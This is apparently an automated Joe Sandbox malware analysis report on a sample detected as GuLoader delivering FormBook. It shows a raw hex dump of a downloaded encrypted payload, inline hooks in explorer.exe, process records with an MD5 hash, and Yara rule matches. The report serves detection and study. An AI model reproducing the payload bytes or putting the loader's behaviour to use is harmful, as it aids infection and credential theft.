Accept-Ranges: bytes
Content-Length: 185920
Vary: Accept-Encoding,User-Agent
Content-Type: application/octet-stream
Data Raw: 0c e8 5c 8f 9e 71 2c 8b 27 a6 36 6d 35 4c c7 7d a1 54 92 a4 59 68 4d b5 d8 3d 0b a0 be 75 d8 be 55 dc 84 4a 
9f 1f 0c a0 5d c7 34 1c 77 f9 12 6a 97 39 17 db 06 64 0c fd a4 18 73 63 38 3a b1 1a 8c 01 0a 04 a1 73 98 5f 3a f9 a8 14 b9
b0 6f 25 28 e6 c0 2e c7 39 83 96 95 d6 20 68 bb c0 0f 49 a7 43 4f 40 03 a7 3c c4 c8 f2 ec 02 6e ef 3a 5b 3e e7 ac 7c b8 ac
38 f7 d4 0d 70 20 79 bd 04 9f 0e 2c ee 1f b1 3e 8c ef 22 25 13 95 7b 0c 34 06 9f d9 3e fd a8 2e 64 4f d2 47 82 cf 6a d6 31 
82 72 90 56 8b 0d a1 74 c7 e2 a7 ef ff 61 94 59 b5 df 9e 46 d0 98 b1 82 6a 7d 7c 4c 3e 15 c8 76 0c 52 96 08 62 ed 2b 1e 
6c ac 9f d1 da 9d ab 80 91 ca 18 8b 08 b1 31 e2 a9 40 25 0b 84 89 21 9f c1 54 f3 bf a5 7c 84 19 48 ed c6 c1 cd ff fe 70 b1 
e5 ba 31 95 50 32 e7 7e 0e af b4 86 3c 9d ec c6 0b 93 93 17 aa 9f e9 b4 7a 42 ff 62 74 c9 00 3e df 10 54 4f dc c6 b3 d7 8b 
1b 7e 2c 41 14 c8 27 61 5e de 76 03 d8 e0 e2 59 fe 34 37 f6 58 60 ff 60 56 83 81 45 a3 ca f1 29 4d ff 64 da b3 2e c5 db d1 
a6 01 1e d2 dc 9d 4d 58 df c2 6d 36 0e a4 ed 76 e8 8a b8 6f f1 2e 3e 13 b5 39 0f fe ad 71 ee 3f 85 a3 c4 df ed 74 93 7e b6 
5e 5f 37 76 d8 3a e7 c5 15 60 f6 7c cc a4 e9 28 c1 40 5b d5 75 80 b5 43 fa 9b 8e 30 df 06 f0 a2 5d b5 42 38 83 dd 4f 04 74 
9f 36 76 ee f3 02 4f c5 9f d5 32 be 93 38 26 eb 30 0e 5e 80 c6 3c 00 d5 ff 19 d6 c6 9d be b6 84 21 e2 f1 2f 33 be 15 7b f9 
72 37 fa d2 ef 8c 98 38 a6 1a ef 66 b3 ed cb d6 27 af 8f e4 22 2b c2 1c e4 7f d9 61 57 9d d5 84 36 5c 3f cb 75 ae f9 84 a0 
cb 42 67 5b cb 37 5f 9d 0f f3 a2 ab 0f c7 b1 fb 34 41 d4 5a 97 27 c4 27 be c2 4e 12 8d 95 6e f9 a7 b7 27 e6 7a aa 02 e0 9a 
8c 64 c4 58 91 b3 b9 ea 04 af d1 94 15 5e c0 b5 6c 5a 9a 64 dd 3e e7 a8 bf bc a1 e6 1b 90 57 71 43 25 29 21 57 83 8d 1f 
31 48 33 a0 50 a7 b3 cc c5 fd 35 bc 10 b6 3d 98 3b c7 0e 3b 1d 16 5a a6 5c 7c af 35 ec 8f 11 5d 5e ba 12 30 15 11 45 e3 
78 f4 b2 e3 b1 ca 09 0c ec 04 02 08 4b cd f8 39 c2 d6 52 76 4a af 63 68 ce 64 1e a7 54 ee 39 a5 55 82 5f b6 9f 3c 0f c2 0a 
02 1d 24 d8 85 37 4e d7 27 a9 a7 55 3a a9 ea 38 3a 02 70 78 bf 7c 71 9a 80 88 17 20 a0 2c e5 89 63 43 e0 0b 41 37 9f 2a 
ba 5c 8e 20 18 f4 2e 20 39 95 ba 47 3b ac c6 ac 50 28 8c fb 87 db aa ee ad 33 92 43 73 9d a6 6b c7 f5 d1 57 74 6b e3 cd 
18 c5 43 cd 89 f5 73 84 8e 27 06 f0 f7 f9 1f 1a f3 de 85 ba 58 28 dd 02 b1 26 20 2c 1e 0d 0c e0 20 19 6b 34 58 1a f5 4e 95 
70 b9 58 03 6c ea 76 b7 3d cf fa 42 fe 72 63 a2 dd bf 94 37 ef 32 e5 a0 b4 5a 32 17 a4 ec 08 e1 cd 35 6e 4c a1 77 50 8d 
4a 20 61 b2 a2 7d 80 d2 1a c2 05 bd 4c 0d 7e ff 3b 75 15 a8 f3 77 da 56 2a 9e 3c f3 70 0e 39 cf 94 60 f3 3d ab ce 19 16 43 
f1 44 0e 47 61 90 b0 88 61 39 73 3d e2 2a 89 4b a7 49 ef 27 64 23 6c b8 c0 45 b9 cb ad 35 2c d8 69 01 44 34 b1 6d bd 79 
b3 83 e8 63 f2 df c0 1d 77 28 ec 6d 63 b8 a1 02 a0 3c 8a a1 8b c1 5b 4f 56 49 73 98 5f 3a a1 2b fc b0 3b a7 a6 e8 da 4b 
2e c4 f8 00 56 bd d5 28 97 5a 50 0f 49 a7 43 4f 40 03 a7 3c c4 c8 f2 ec 02 6e ef 3a 5b 3e e7 ac 7c b8 ac 38 f7 d4 0d 70 20 
b9 bd 04 9f 00 33 54 11 b1 8a 85 22 03 9d 12 d9 b6 2d 60 6e f6 aa 1e 8d da 41 03 3d b3 2a a2 ac 0b b8 5f ed 06 b0 34 ee 
2d d3 01 a9 c2 ce 81 df 25 db 0a 95 b2 f1 22 b5 b6 bc 8f 60 59 7c 4c 3e 15 c8 76 0c f9 6a 00 88 02 b6 78 d5 43 02 b7 63 
72 36 e6 28 3e 18 46 b1 18 ac 84 10 b4 25 f3 3d 65 bc 
Data Ascii: \q,'6m5L}TYhM=uUJ]4wj9dsc8:s_:o%(.9 hICO@<n:[>|8p y,>"%{4>.dOGj1rVtaYFj}|L>vRb+l1@%!T|Hp1P2~
<zBbt>TO~,A'a^vY47X``VE)Md.MXm6vo.>9q?t~^_7v:`|(@[uC0]B8Ot6vO28&0^<!/3{r78f'"+aW6\?uBg[7_4AZ''Nn
'zdX^lZd>WqC%)!W1H3P5=;;Z\|5]^0ExK9RvJchdT9U_<$7N'U:8:px|q ,cCA7*\ . 9G;P(3CskWtkCs'X(& , k4XNpXlv=B
rc72Z25nLwPJ a}L~;uwV*<p9`=CDGaa9s=*KI'd#lE5,iD4mycw(mc<[OVIs_:+;K.V(ZPICO@<n:[>|8p 3T"-`nA=*_4-%"`Y
|L>vjxCcr6(>F%=e

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

User Modules

Hook Summary

Processes
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System Behavior

File ActivitiesFile Activities

Start time: 20:02:39

Start date: 14/07/2021

Path: C:\Users\user\Desktop\ZGNX11JMSc.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\ZGNX11JMSc.exe' 

Imagebase: 0x400000

File size: 267376 bytes

MD5 hash: FCFB0EC70F1419EDE8A534CC95CB61E9

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000001.00000002.623756181.0000000002240000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_GuLoader_1, Description: Yara detected GuLoader, Source: 
00000001.00000000.213217103.0000000000401000.00000020.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_GuLoader_1, Description: Yara detected GuLoader, Source: 
00000001.00000002.623260641.0000000000401000.00000020.00020000.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 20:05:49

Start date: 14/07/2021

Path: C:\Users\user\Desktop\ZGNX11JMSc.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\ZGNX11JMSc.exe' 

Imagebase: 0x400000

File size: 267376 bytes

MD5 hash: FCFB0EC70F1419EDE8A534CC95CB61E9

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: ZGNX11JMSc.exe PID: 3152 Parent PID: 5676Analysis Process: ZGNX11JMSc.exe PID: 3152 Parent PID: 5676

General

Analysis Process: ZGNX11JMSc.exe PID: 5880 Parent PID: 3152Analysis Process: ZGNX11JMSc.exe PID: 5880 Parent PID: 3152

General
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000024.00000002.1042748926.00000000009C0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000024.00000002.1042748926.00000000009C0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000024.00000002.1042748926.00000000009C0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000024.00000002.1042381038.0000000000060000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000024.00000002.1042381038.0000000000060000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000024.00000002.1042381038.0000000000060000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_GuLoader_1, Description: Yara detected GuLoader, Source: 
00000024.00000000.621430446.0000000000401000.00000020.00020000.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

File ReadFile Read
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